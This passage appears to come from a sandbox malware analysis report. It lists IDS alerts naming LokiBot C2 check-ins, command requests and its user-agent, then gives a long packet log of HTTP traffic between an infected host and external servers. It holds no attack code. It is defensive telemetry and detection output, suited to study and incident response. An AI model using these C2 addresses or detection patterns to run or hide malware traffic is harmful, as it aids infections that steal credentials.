02/10/22-10:23:18.783854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49235	80	192.168.2.22	104.21.49.244
02/10/22-10:23:19.840840	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49236	80	192.168.2.22	172.67.197.66
02/10/22-10:23:19.840840	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49236	80	192.168.2.22	172.67.197.66
02/10/22-10:23:19.840840	TCP	2025381	ET TROJAN LokiBot Checkin	49236	80	192.168.2.22	172.67.197.66
02/10/22-10:23:19.840840	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49236	80	192.168.2.22	172.67.197.66
02/10/22-10:23:20.970687	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49237	80	192.168.2.22	172.67.197.66
02/10/22-10:23:20.970687	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49237	80	192.168.2.22	172.67.197.66
02/10/22-10:23:20.970687	TCP	2025381	ET TROJAN LokiBot Checkin	49237	80	192.168.2.22	172.67.197.66
02/10/22-10:23:20.970687	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49237	80	192.168.2.22	172.67.197.66
02/10/22-10:23:22.072758	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49238	80	192.168.2.22	172.67.197.66
02/10/22-10:23:22.072758	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49238	80	192.168.2.22	172.67.197.66
02/10/22-10:23:22.072758	TCP	2025381	ET TROJAN LokiBot Checkin	49238	80	192.168.2.22	172.67.197.66
02/10/22-10:23:22.072758	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49238	80	192.168.2.22	172.67.197.66
02/10/22-10:23:23.139723	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49239	80	192.168.2.22	172.67.197.66
02/10/22-10:23:23.139723	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49239	80	192.168.2.22	172.67.197.66
02/10/22-10:23:23.139723	TCP	2025381	ET TROJAN LokiBot Checkin	49239	80	192.168.2.22	172.67.197.66
02/10/22-10:23:23.139723	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49239	80	192.168.2.22	172.67.197.66
02/10/22-10:23:25.193411	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49240	80	192.168.2.22	172.67.197.66
02/10/22-10:23:25.193411	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49240	80	192.168.2.22	172.67.197.66
02/10/22-10:23:25.193411	TCP	2025381	ET TROJAN LokiBot Checkin	49240	80	192.168.2.22	172.67.197.66
02/10/22-10:23:25.193411	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49240	80	192.168.2.22	172.67.197.66
02/10/22-10:23:26.759435	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49241	80	192.168.2.22	104.21.49.244
02/10/22-10:23:26.759435	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49241	80	192.168.2.22	104.21.49.244
02/10/22-10:23:26.759435	TCP	2025381	ET TROJAN LokiBot Checkin	49241	80	192.168.2.22	104.21.49.244
02/10/22-10:23:26.759435	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49241	80	192.168.2.22	104.21.49.244
02/10/22-10:23:27.802325	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49242	80	192.168.2.22	104.21.49.244
02/10/22-10:23:27.802325	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49242	80	192.168.2.22	104.21.49.244
02/10/22-10:23:27.802325	TCP	2025381	ET TROJAN LokiBot Checkin	49242	80	192.168.2.22	104.21.49.244
02/10/22-10:23:27.802325	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49242	80	192.168.2.22	104.21.49.244
02/10/22-10:23:28.801702	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49243	80	192.168.2.22	172.67.197.66
02/10/22-10:23:28.801702	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49243	80	192.168.2.22	172.67.197.66
02/10/22-10:23:28.801702	TCP	2025381	ET TROJAN LokiBot Checkin	49243	80	192.168.2.22	172.67.197.66
02/10/22-10:23:28.801702	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49243	80	192.168.2.22	172.67.197.66
02/10/22-10:23:29.791359	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49244	80	192.168.2.22	172.67.197.66
02/10/22-10:23:29.791359	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49244	80	192.168.2.22	172.67.197.66
02/10/22-10:23:29.791359	TCP	2025381	ET TROJAN LokiBot Checkin	49244	80	192.168.2.22	172.67.197.66
02/10/22-10:23:29.791359	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49244	80	192.168.2.22	172.67.197.66
02/10/22-10:23:30.804451	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49245	80	192.168.2.22	172.67.197.66
02/10/22-10:23:30.804451	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49245	80	192.168.2.22	172.67.197.66
02/10/22-10:23:30.804451	TCP	2025381	ET TROJAN LokiBot Checkin	49245	80	192.168.2.22	172.67.197.66
02/10/22-10:23:30.804451	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49245	80	192.168.2.22	172.67.197.66
02/10/22-10:23:31.841168	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49246	80	192.168.2.22	172.67.197.66
02/10/22-10:23:31.841168	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49246	80	192.168.2.22	172.67.197.66
02/10/22-10:23:31.841168	TCP	2025381	ET TROJAN LokiBot Checkin	49246	80	192.168.2.22	172.67.197.66
02/10/22-10:23:31.841168	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49246	80	192.168.2.22	172.67.197.66
02/10/22-10:23:32.863722	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49247	80	192.168.2.22	172.67.197.66
02/10/22-10:23:32.863722	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49247	80	192.168.2.22	172.67.197.66
02/10/22-10:23:32.863722	TCP	2025381	ET TROJAN LokiBot Checkin	49247	80	192.168.2.22	172.67.197.66
02/10/22-10:23:32.863722	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49247	80	192.168.2.22	172.67.197.66

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 10, 2022 10:21:50.148709059 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.261291027 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.261378050 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.261872053 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.385209084 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385242939 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385256052 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385267019 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385279894 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385297060 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385313034 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385329962 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385346889 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385364056 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.385413885 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.386713982 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.398227930 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.497762918 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497796059 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497813940 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497829914 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497843027 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497869015 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.497876883 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497900009 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497900963 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.497920990 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.497925043 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.497939110 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.497953892 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502103090 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502135992 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502152920 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502172947 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502180099 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502196074 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502212048 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502214909 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502219915 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502230883 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502244949 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502262115 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502269030 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502276897 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502290964 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502310991 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502311945 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502329111 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502335072 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502346039 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502358913 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.502370119 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502393961 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.502480030 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610299110 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610330105 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610347033 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610369921 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610374928 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610393047 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610408068 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610410929 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610425949 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610477924 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610522985 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610563040 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610606909 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610723972 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610761881 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610779047 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610796928 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610820055 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610820055 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610835075 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610847950 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610851049 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610867977 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610887051 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610889912 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610899925 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610913038 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610928059 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610934973 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.610943079 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.610970020 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.611434937 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614706993 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614736080 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614754915 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614767075 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614779949 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614790916 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614793062 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614804983 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614820957 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614828110 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614845991 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614851952 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614866018 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614871979 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614881039 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614895105 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614916086 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614917040 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614928007 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614940882 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614948988 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614962101 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614979029 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.614984989 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.614993095 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615010023 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615025043 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615032911 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615041971 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615055084 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615070105 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615077972 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615084887 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615099907 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615113020 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615123034 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615129948 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615144968 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615156889 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615168095 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615206957 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615223885 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615243912 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615246058 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.615259886 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615277052 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.615833044 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723398924 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723437071 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723449945 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723469019 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723489046 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723505974 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723529100 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723547935 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723565102 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723579884 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723587990 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723613024 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723613024 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723630905 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723634958 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723638058 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723658085 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723664045 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723675966 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723687887 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723695040 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723709106 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723730087 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723731041 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723743916 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723754883 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723759890 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723777056 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723794937 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723799944 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723809004 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723822117 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723836899 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723846912 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723850965 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723867893 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723885059 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723891020 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723897934 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723912954 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.723929882 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.723942041 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.724605083 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.727976084 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728010893 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728030920 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728053093 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728075981 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728091955 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728097916 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728117943 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728125095 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728128910 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728132963 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728149891 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728169918 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728173971 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728185892 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728199959 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728209019 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728221893 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728245020 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728245974 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728257895 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728271961 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728281975 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728296995 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728310108 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728322029 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728334904 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728346109 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728355885 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728369951 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728384018 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728395939 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728399038 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728419065 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728419065 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728430033 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728441954 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728455067 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728466988 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728477955 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728488922 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728501081 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728513002 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728524923 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728534937 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.728549957 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728568077 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728769064 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.728945971 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836253881 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836293936 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836308956 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836323023 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836343050 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836360931 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836383104 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836402893 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836522102 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836679935 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836715937 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836720943 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836730003 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836745977 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836760044 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836766958 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836776018 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836791039 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836803913 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836812019 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836819887 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836833954 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836849928 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836857080 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836865902 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836879015 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836893082 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836899042 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836909056 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836921930 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836941004 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836944103 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836965084 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836968899 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836977005 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.836987019 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.836996078 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.837007999 CET	80	49165	198.46.132.195	192.168.2.22
